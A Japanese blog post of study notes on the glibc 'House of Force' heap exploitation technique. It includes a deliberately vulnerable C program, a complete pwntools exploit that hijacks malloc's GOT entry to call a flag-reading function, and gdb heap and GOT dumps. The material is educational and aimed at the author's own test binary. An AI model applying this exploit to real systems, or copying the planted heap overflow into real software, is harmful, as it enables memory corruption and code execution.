0: 参考
1: イントロ
ヒープ問を解いているときに使ったテクニックの一つの "House of Force"
自分のために簡単な覚書を書いておく
本来ならばソースコードを見て
この部分がこうだからこうやってbypassして。。。
のように進めていくのが筋だが
今回は使えればいいじゃんの考えに基づいて根本的な説明はしない
本エントリでは自作の簡単なプログラムと
そのexploitをもとに説明を進める
2: 使用するプログラムと表層解析
使用するメインプログラムは以下の通り
// test1.c for House of Force #include<stdio.h> #include<stdlib.h> #include<unistd.h> static void win(void) { system("cat /flag"); } int main(void) { setbuf(stdin,NULL); setbuf(stdout,NULL); srand(0); rand(); putc('\n',stdout); char *buf = malloc(0x300); int choice; void *p; while(1==1){ printf("1: malloc\n2: free\n3: write\n4: read\n"); printf("> "); fscanf(stdin,"%d",&choice); switch(choice){ case 1: printf("size > "); fscanf(stdin,"%d",&choice); p = malloc(choice); printf("[+]allocated %d @ %p\n\n",choice,p); break; case 2: free(p); printf("freed @ %p\n\n",p); break; case 3: printf("data > "); if(read(0,p,0x400)<=0){ printf("ERROR\n"); return 1; } break; case 4: printf("data: %s\n",(char*)p); break; default: printf("Invalid\n\n"); break; } } return 0; }
バイナリ情報は以下の通り
./test1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=918b4e3348802af9ccaade8ece04a53cd5f8df60, not stripped
Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
3: House of Force: 概要
制約:
・heap overflow等でtop_chunkのsize 8byteを書き換えることができる
・top_chunkのアドレスをleakできる
・任意のサイズでmalloc()できる
(・任意の値をmalloc先に書き込むことができる)
なお上のプログラムはこれらの条件を満たすように作られている
できること:
任意の場所(8byte align)にchunkを作ることができる
方法:
mallocをする際には
tcache, fastbins, unsortedbin, largebinに合うサイズのbinがあるかを探し
そこになければtop_chunkと呼ばれる領域から切り出すことになる
なおtop_chunkのサイズが足りなければsysmalloc()を呼んで
brk()かmmap()で新しいtop_chunkを作ることになるのだが
それはおそらく次エントリのHouse of Orangeで利用することになる
今回注目するのはtop_chunkからの切り出しである
この切り出し方法は至ってシンプルで
1: 要求サイズとtop_chunkのサイズを比較し十分なら2へ
2: 現在のtop_chunkのアドレス+要求サイズ+0x10へ新たなtop_chunkの情報を書き込む
3: 現在のtop_chunkのアドレスに要求されたchunkを作る
という流れになっている
そしてmain_arenaのtop_chunkへのポインタは2で更新された値へと上書きされる
以上を踏まえた上で
House of Forceは以下のように行う(と認識している)
1: top_chunkのsizeを大きな値(0xffffffffffffffff等)で上書きする
2: (chunkを作りたいアドレス) - (現在のtop_chunk) - 0x20・・・① の大きさだけmalloc()する
3: もう一度好きなサイズでmalloc()して値を書き込む
肝となるのは2である
top_chunkからの切り出しによってarenaのtop_chunkポインタが更新されると上述した
更新後のポインタの計算式は (現在のtop_chunk) + (要求サイズ) + 0x10 であったから
①の値を要求サイズに当てはめると
更新後のtop_chunk
= (現在のtop_chunk) + (chunkを作りたいアドレス) - (現在のtop_chunk) - 0x20 + 0x10
= (chunkを作りたいアドレス) - 0x10
となる
0x10分はmetadataだからユーザに与えられる領域としては
chunkを作りたいアドレスがしっかりと与えられることになる
なおわざわざtop_chunkのsizeを大きい値で書き換えたのは
GOTや.fini_arrayをoverwriteする場合
これらは当然heap領域よりも若い領域に位置するため
①の値が負になるからである
負数をmalloc()に渡した場合malloc()はそれをunsigned型として認識するため
要求サイズが非常に大きくなる
ここでtop_chunkのサイズが足りなくならないようにするためにsizeを書き換えた
4: 欠点
これで任意のアドレスにchunkを作れるようになった
もしそのchunkに好きな値を書き込めるのならば
これだけでGOT/.fini_array/__free_hook overwrite等ができてしまう
但し書き換えたいアドレスの周辺領域は破壊されてしまう
具体的に言うと
・書き換え対象アドレス - 0x8 の 8byte
・書き換え対象アドレス + そのchunkのsize - 0x8 の 8byte
が破壊されてしまう
前者はそのchunk自体のsizeデータのため
後者はtop_chunkのsizeデータのためである
よってoverwriteをする際にはこれらの領域に
破壊してはいけないデータがないことが前提となる
5: exploit
さて上のプログラムのexploitは以下の通り
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./test1" rhp1 = {"host":"hoge","port":99999} rhp2 = {'host':"localhost",'port':12300} context(os='linux',arch='amd64') binf = ELF(FILENAME) win_addr = 0x400887 def malloc(conn,size,getaddr=True): conn.recvuntil("> ") conn.sendline("1") conn.recvuntil("size > ") conn.sendline(str(size)) if getaddr==True: conn.recvuntil("@ ") return int(conn.recvline()[:-1],16) def free(conn): conn.recvuntil("> ") conn.sendline("2") def write(conn,data): conn.recvuntil("> ") conn.sendline("3") conn.recvuntil("data > ") conn.send(data) def read(conn): conn.recvuntil("> ") conn.sendline("4") conn.recvuntil("data: ") return conn.recvline() def exploit(conn): print("[+]GOT free: "+hex(binf.got["free"])) addr1 = malloc(conn,0x10) print("addr1: "+hex(addr1)) top_chunk = addr1+0x10 print("top: "+hex(top_chunk)) write(conn,"A"*0x10 + p64(0) + p64(0xffffffffffffffff|0x6)) malloc(conn,binf.got["malloc"] - top_chunk - 0x20) addr2 = malloc(conn,0x20) print("addr2: "+hex(addr2)) write(conn,p64(win_addr)) malloc(conn,0x20,getaddr=False) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
簡単のためにフラグを読んでくれる関数を予め定義してある
mainプログラムでは以下のことができる
・任意のサイズをmalloc
・(ほぼ)任意のバイト数を最後にmallocした先に書き込める
・最後にmallocしたデータを読む
・最後にmallocしたchunkをfree()する
手順は4で説明したことをほぼ忠実に実装しただけであり
・適当なサイズをmalloc
・top_chunkのsizeを上書き
・arenaのtop_chunkがmallocのGOTを指すように変更
・mallocのGOTをwin()にoverwrite
という流れである
少し冗長になるがgdbでの情報も合わせて見てみる
まずこれが最初のmallocをした状態のheap
0x188f560 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20a81
}
0x188f580 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 133761,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
下のchunkがtop_chunkでありそのsizeは0xe0281である
この時点でのarenaの情報は以下の通り
{ mutex = 0, flags = 0, have_fastchunks = 0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x80e580, last_remainder = 0x0, bins = {snipped...}, binmap = {0, 0, 0, 0}, next = 0x7f8f340bec40, next_free = 0x0, attached_threads = 1, system_mem = 135168, max_system_mem = 135168 }
top_chunkは正常な場所を指していることがわかる
続いてtop_chunkのsizeを上書きした後
0x188f580 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 18446744073709551601,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x188f570 PREV_INUSE {
mchunk_prev_size = 4702111234474983745,
mchunk_size = 4702111234474983745,
fd = 0x0,
bk = 0xfffffffffffffff1,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
しっかりsizeが更新されている
肝心のmalloc()をした後が以下の通り
pwndbg> arena { mutex = 0, flags = 0, have_fastchunks = 0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x600f50, last_remainder = 0x0, bins = {snipped}, binmap = {0, 0, 0, 0}, next = 0x7fc8028bbc40, next_free = 0x0, attached_threads = 1, system_mem = 135168, max_system_mem = 135168 }
top_chunkが更新されGOTを指していることがわかる
続いてもう一度mallocをすることでこの領域にchunkをつくる
このときのGOTの値は以下の通り
pwndbg> telescope 0x600ef8 20 00:0000│ 0x600ef8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600d18 (_DYNAMIC) ◂— 0x1 01:0008│ 0x600f00 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7fc802aea170 ◂— 0x0 02:0010│ 0x600f08 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7fc8028d8680 (_dl_runtime_resolve_xsave) ◂— push rbx 03:0018│ 0x600f10 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x4006e6 (free@plt+6) ◂— push 0 /* 'h' */ 04:0020│ 0x600f18 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7fc80254c1e0 (__isoc99_fscanf) ◂— push rbx 05:0028│ 0x600f20 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x7fc8025509c0 (puts) ◂— push r13 06:0030│ 0x600f28 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x400716 (__stack_chk_fail@plt+6) ◂— push 3 07:0038│ 0x600f30 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0x7fc8025584d0 (setbuf) ◂— mov edx, 0x2000 08:0040│ 0x600f38 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0x400736 (system@plt+6) ◂— push 5 09:0048│ 0x600f40 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x7fc802534e80 (printf) ◂— sub rsp, 0xd8 0a:0050│ 0x600f48 (_GLOBAL_OFFSET_TABLE_+80) —▸ 0x7fc802558230 (putc) ◂— test byte ptr [rsi + 0x74], 0x80 0b:0058│ 0x600f50 (_GLOBAL_OFFSET_TABLE_+88) —▸ 0x7fc8025e0070 (read) ◂— lea rax, [rip + 0x2e0881] 0c:0060│ 0x600f58 (_GLOBAL_OFFSET_TABLE_+96) ◂— 0x31 /* '1' */ 0d:0068│ rax rcx rdx 0x600f60 (_GLOBAL_OFFSET_TABLE_+104) —▸ 0x7fc802567070 (malloc) ◂— push rbp 0e:0070│ 0x600f68 (_GLOBAL_OFFSET_TABLE_+112) —▸ 0x7fc8025143a0 (rand) ◂— sub rsp, 8 0f:0078│ 0x600f70 (data_start) ◂— 0x0 ... ↓ 11:0088│ rdi 0x600f80 (stdout@@GLIBC_2.2.5) —▸ 0x7fc8028bc760 (_IO_2_1_stdout_) ◂— 0xfbad2887 12:0090│ 0x600f88 ◂— 0x1cb95f1 13:0098│ 0x600f90 (stdin@@GLIBC_2.2.5) —▸ 0x7fc8028bba00 (_IO_2_1_stdin_) ◂— 0xfbad208b
これをchunkが作られる前のGOTと比べてみると
00:0000│ 0x600ef8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600d18 (_DYNAMIC) ◂— 0x1 01:0008│ 0x600f00 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7f7db40a7170 ◂— 0x0 02:0010│ 0x600f08 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f7db3e95680 (_dl_runtime_resolve_xsave) ◂— push rbx 03:0018│ 0x600f10 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x4006e6 (free@plt+6) ◂— push 0 /* 'h' */ 04:0020│ 0x600f18 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7f7db3b091e0 (__isoc99_fscanf) ◂— push rbx 05:0028│ 0x600f20 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x7f7db3b0d9c0 (puts) ◂— push r13 06:0030│ 0x600f28 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x400716 (__stack_chk_fail@plt+6) ◂— push 3 07:0038│ 0x600f30 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0x7f7db3b154d0 (setbuf) ◂— mov edx, 0x2000 08:0040│ 0x600f38 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0x400736 (system@plt+6) ◂— push 5 09:0048│ 0x600f40 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x7f7db3af1e80 (printf) ◂— sub rsp, 0xd8 0a:0050│ 0x600f48 (_GLOBAL_OFFSET_TABLE_+80) —▸ 0x7f7db3b15230 (putc) ◂— test byte ptr [rsi + 0x74], 0x80 0b:0058│ 0x600f50 (_GLOBAL_OFFSET_TABLE_+88) —▸ 0x7f7db3b9d070 (read) ◂— lea rax, [rip + 0x2e0881] 0c:0060│ 0x600f58 (_GLOBAL_OFFSET_TABLE_+96) —▸ 0x7f7db3ad0bb0 (srandom) ◂— sub rsp, 8 0d:0068│ 0x600f60 (_GLOBAL_OFFSET_TABLE_+104) —▸ 0x7f7db3b24070 (malloc) ◂— push rbp 0e:0070│ 0x600f68 (_GLOBAL_OFFSET_TABLE_+112) —▸ 0x7f7db3ad13a0 (rand) ◂— sub rsp, 8 0f:0078│ 0x600f70 (data_start) ◂— 0x0 ... ↓ 11:0088│ 0x600f80 (stdout@@GLIBC_2.2.5) —▸ 0x7f7db3e79760 (_IO_2_1_stdout_) ◂— 0xfbad2887 12:0090│ 0x600f88 ◂— 0x0 13:0098│ 0x600f90 (stdin@@GLIBC_2.2.5) —▸ 0x7f7db3e78a00 (_IO_2_1_stdin_) ◂— 0xfbad208b
srandomのエントリが破壊されていることがわかる
今回はたまたま使わない関数であったからいいが
(というかそのためにわざわざ必要ないものをインクルードしたのだが)
これのせいでGOT overwriteできないことも割とある
さてchunkもつくれたためあとはwin()の値でoverwriteすればOKである
なおsystemの中ではmovaps命令によってstackの16byte alignが強制される
これに引っかかった場合にはoverwriteする値を
win()ではなくwin()+1にすることで
関数プロローグの push $rbp をとばしてstackの大きさを8byte減らしbypassできる
以上のようにexploitすると。。。
[+] Opening connection to localhost on port 12300: Done [+]GOT free: 0x600f10 addr1: 0x2175570 top: 0x2175580 addr2: 0x600f60 [*] Switching to interactive mode FLAG={thi5_i5_t35t_f1ag} [+]allocated 32 @ (nil)
無事にフラグが取れました
6: アウトロ
制約のところでchunkに好きな値を書き込めることを括弧書きにした
たとえ好きな値が書き込めなかったとしても好きなsizeをmallocできるのであれば
書き込みたい値分の大きさでmalloc()すれば
それなりに任意の値を書き込むことが可能である(と思う)
もちろん下3bitがflagとして利用されたり8byte alignされたりで
完全に任意の値を書き込むことは無理だけどね
続く・・・